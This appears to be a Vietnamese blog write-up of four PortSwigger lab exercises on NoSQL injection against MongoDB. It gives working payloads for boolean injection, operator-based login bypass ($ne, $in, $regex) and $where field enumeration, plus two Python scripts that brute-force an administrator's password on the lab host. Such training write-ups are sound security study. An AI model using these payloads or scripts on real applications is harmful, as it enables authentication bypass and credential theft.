Lab: Detecting NoSQL injection
Link: https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-detection
Mô tả
Thực hiện một cuộc tấn công NoSQL Injection để hiển thị các sản phẩm chưa phát hành trong cơ sở dữ liệu MongoDB.
Các bước thực hiện
- MongoDB sử dụng cú pháp JSON và JavaScript để truy vấn dữ liệu. Nếu một ứng dụng không kiểm tra kỹ đầu vào, việc chèn dấu nháy đơn (') có thể gây lỗi cú pháp
--> Có thể chỉnh sửa giá trị tham số
category
và chèn dấu nháy đơn (')=> mở ra cơ hội để khai thác NoSQL Injection.
- Thử xem có thể tác động boolean conditions để thay đổi kết quả truy vấn. Trước khi gửi request hãy URL-encoded
'. && 0 && 'x
and' && 1 && 'x
.
Tóm lại sau khi đã thử thì thấy boolen conditions có tác động đến việc truy vấn.
Thay đổi truy vấn để hiển thị toàn bộ dữ liệu bằng cách chèn điều kiện luôn đúng. Chèn điều kiện
1 == 1
vào truy vấn để nó luôn trả về kết quả hợp lệ.
--> Do '1' == '1'
luôn đúng, truy vấn trả về toàn bộ sản phẩm, kể cả sản phẩm chưa phát hành hoặc bị ẩn.
--> DONEEEEEE.
Lab: Exploiting NoSQL operator injection to bypass authentication
Link: https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-bypass-authentication
Mô tả
Lỗ hổng NoSQL Injection trong hệ thống xác thực cho phép kẻ tấn công:
- Bypass xác thực bằng cách sử dụng $ne để chọn bất kỳ người dùng nào.
- Sử dụng $regex để tìm kiếm và đăng nhập vào tài khoản có quyền cao
Các bước thực hiện
- NoSQL databases sử dụng các toán tử truy vấn để lọc dữ liệu. Kẻ tấn công có thể lợi dụng các toán tử này để thao túng truy vấn.
$where – Cho phép thực thi JavaScript trong truy vấn.
$ne (Not Equal) – Chọn tất cả tài liệu có giá trị khác với giá trị được chỉ định.
$in – Chọn tất cả tài liệu có giá trị thuộc danh sách cụ thể.
$regex – Lọc tài liệu bằng biểu thức chính quy (regex).
- Truy vấn này trả về tất cả thông tin đăng nhập mà cả tên người dùng và mật khẩu đều không hợp lệ
{
"username": {
"$ne": "invalid"
},
"password": {
"$ne": "invalid"
}
}
==> Chưa khai thác được gì lắm
- Sử dụng toán tử
$in
để thử nhiều username cùng lúc + toán tử$ne
để bỏ qua kiểm tra mật khẩu nếu ứng dụng không xử lý đúng cách.
{
"username":{
"$in":[
"admin",
"administrator",
"superadmin"
]
},
"password":{
"$ne": ""
}
}
- Giả sử bỏ qua password bằng cách
"password": { "$ne": "jasfaskfbasfj }"
==> có thể bỏ qua bước xác thực mật khẩu bởi điều kiện thỏa mãn :v
- Thử với username: administrator
--> Invalid username or password
--> dò username với toán tử $in
--> Vẫn không được chuyển sang dò với $regex
{
"username":{
"$regex": "admin"
},
"password":{
"$ne": "jasfaskfbasfj"
}
}
==> Ra được username rồi kìa ae id=adminscrp8k9r
- Chạy request với
session
vừa tìm được
--> DONEEEE
Lab: Exploiting NoSQL injection to extract data
Link: https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-extract-data
Mô tả
Lỗ hổng NoSQL Injection có thể bị khai thác để trích xuất dữ liệu từ database.
Các bước thực hiện
- Đăng nhập tài khoản được cấp phát hiện đoạn mã HTML có chứa thông tin người dùng và một tập lệnh JavaScript được tải từ tệp
userRole.js
- Nội dung tệp .js
const appendFromUser = (user) => {
const email = user.email;
if (email) {
document.querySelector("#user-details #user-email").textContent = email;
}
const role = user.role;
if (role) {
document.querySelector("#user-details #username").textContent += ` (role: ${role})`;
}
};
const appendUserDetails = () => {
const url = new URL(location);
fetch(`//${url.host}/user/lookup?user=${encodeURIComponent(url.searchParams.get('id'))}`)
.then(res => res.json())
.then(appendFromUser);
};
appendUserDetails();
- Check trong Burp thì thấy Endpoint API chịu trách nhiệm tìm kiếm thông tin người dùng.
- Thử thêm
'
và"
- Sử dụng payload sau trong tham số user:
administrator' && this.password.length < ???????? || 'a'=='b
cần encode url!!!!
--> Dò thì thấy pass có 8 kí tự
- Hoặc viết script để dò:
import requests
from bs4 import BeautifulSoup
# Cấu hình URL
BASE_URL = "https://0ac8002004a4b14e800b768100b40004.web-security-academy.net/"
LOGIN_ENDPOINT = "/login"
USER_LOOKUP_ENDPOINT = "/user/lookup"
USER_LOOK_PARAMETER = "user"
# Thông tin đăng nhập tài khoản wiener
USERNAME = "wiener"
PASSWORD = "peter"
# Tạo session để duy trì cookie
session = requests.Session()
def get_csrf_token():
"""Lấy CSRF token từ trang đăng nhập"""
print("[*] Đang lấy CSRF token...")
response = session.get(f"{BASE_URL}{LOGIN_ENDPOINT}")
soup = BeautifulSoup(response.text, "html.parser")
csrf_token = soup.find("input", {"name": "csrf"}).get("value")
print(f"[+] CSRF token: {csrf_token}")
return csrf_token
def login():
"""Đăng nhập vào tài khoản wiener"""
csrf_token = get_csrf_token()
login_data = {
"csrf": csrf_token,
"username": USERNAME,
"password": PASSWORD
}
print("[*] Đang đăng nhập...")
response = session.post(f"{BASE_URL}{LOGIN_ENDPOINT}", data=login_data)
if "Your username is incorrect" in response.text:
print("[-] Đăng nhập thất bại! Kiểm tra lại tài khoản/mật khẩu.")
return False
print("[+] Đăng nhập thành công!")
return True
def find_password_length():
"""Dò độ dài mật khẩu của administrator"""
print("[*] Đang dò độ dài mật khẩu...")
for length in range(1, 21): # Dò từ 1 đến 20 ký tự
payload = f"administrator' && this.password.length == '{length}' || 'a'=='b"
encoded_payload = requests.utils.quote(payload)
# Gửi request với session đã đăng nhập
response = session.get(f"{BASE_URL}{USER_LOOKUP_ENDPOINT}?{USER_LOOK_PARAMETER}={encoded_payload}")
if "message" not in response.text: # Nếu phản hồi không có "message", tức là đúng
print(f"[+] Độ dài mật khẩu của administrator: {length} ký tự")
return length
print("[-] Không tìm thấy độ dài mật khẩu.")
return None
if __name__ == "__main__":
if login():
password_length = find_password_length()
- Dò password bằng script
import requests
from bs4 import BeautifulSoup
from string import ascii_lowercase
class Exploit:
def __init__(self, baseUrl):
self.baseUrl = baseUrl
self.session = requests.Session()
self.login_endpoint = "/login"
self.user_lookup_endpoint = "/user/lookup"
self.username = "wiener"
self.password = "peter"
self.target_user = "administrator"
self.password_length = 8 # Độ dài đã xác định trước
def get_csrf_token(self):
"""Lấy CSRF token từ trang đăng nhập"""
response = self.session.get(f"{self.baseUrl}{self.login_endpoint}")
soup = BeautifulSoup(response.text, "html.parser")
csrf_token = soup.find("input", {"name": "csrf"}).get("value")
return csrf_token
def login(self):
"""Đăng nhập vào tài khoản wiener"""
csrf_token = self.get_csrf_token()
login_data = {
"csrf": csrf_token,
"username": self.username,
"password": self.password
}
response = self.session.post(f"{self.baseUrl}{self.login_endpoint}", data=login_data)
if "Your username is incorrect" in response.text:
print("[-] Đăng nhập thất bại!")
exit(1)
print("[+] Đăng nhập thành công!")
def brute_force_password(self):
"""Dò từng ký tự của mật khẩu administrator"""
print("[*] Đang brute-force mật khẩu...")
password = ""
for i in range(self.password_length):
for char in ascii_lowercase: # Chỉ test các chữ cái a-z
print(f"[*] Thử ký tự '{char}' tại vị trí {i+1}...", end="\r")
payload = requests.utils.quote(f"{self.target_user}' && this.password[{i}] == '{char}' || 'a'=='b")
response = self.session.get(f"{self.baseUrl}{self.user_lookup_endpoint}?user={payload}")
if "message" not in response.text:
password += char
print(f"[+] Tìm thấy ký tự '{char}' tại vị trí {i+1}. Mật khẩu hiện tại: {password}")
break
print(f"[+] Mật khẩu administrator là: {password}")
if __name__ == "__main__":
baseUrl = "https://0ac8002004a4b14e800b768100b40004.web-security-academy.net/"
exploit = Exploit(baseUrl)
exploit.login()
exploit.brute_force_password()
-->>>> DONE
Lab: Exploiting NoSQL operator injection to extract unknown fields
Link: https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-extract-unknown-fields
Mô tả
Khai thác NoSQL Injection trên MongoDB và lấy password reset token của user carlos
Các bước thực hiện
- Trong phần login có
Forgot password?
???. Thử xem có thể khai thác được gì
--> nhập đại 1 username nào đó.
- Cách xác thực hơi kì lạ ??
- Đăng nhập bừa và thay các toán tử
{
"username": "carlos",
"password":{
"$ne": "abc"
}
}
==)) bị khóa tài khoản rồi lmao
- Thêm
$where
vào JSON request như sau
{
"username": "carlos",
"password": { "$ne": "invalid" },
"$where": "0"
}
{
"username": "carlos",
"password": { "$ne": "invalid" },
"$where": "1"
}
- Sau cả 2 lần gửi request thì account bị locked. Chuyển sang intruder
-
Trong MongoDB, có thể sử dụng Object.keys(this) để lấy danh sách tất cả các trường trong một document.
- Object.keys(this)[0]: Lấy trường đầu tiên.
- Object.keys(this)[1]: Lấy trường thứ hai.
{
"username": "carlos",
"password": { "$ne": "invalid" },
"$where": "Object.keys(this)[1].match('^.{§§}§§.*')"
}
- Lọc theo "Account locked"
- Tiếp tục dò các trường còn lại!! -->>> DONEEEE
URL-encoded format: https://www.urlencoder.org/
Top comments (0)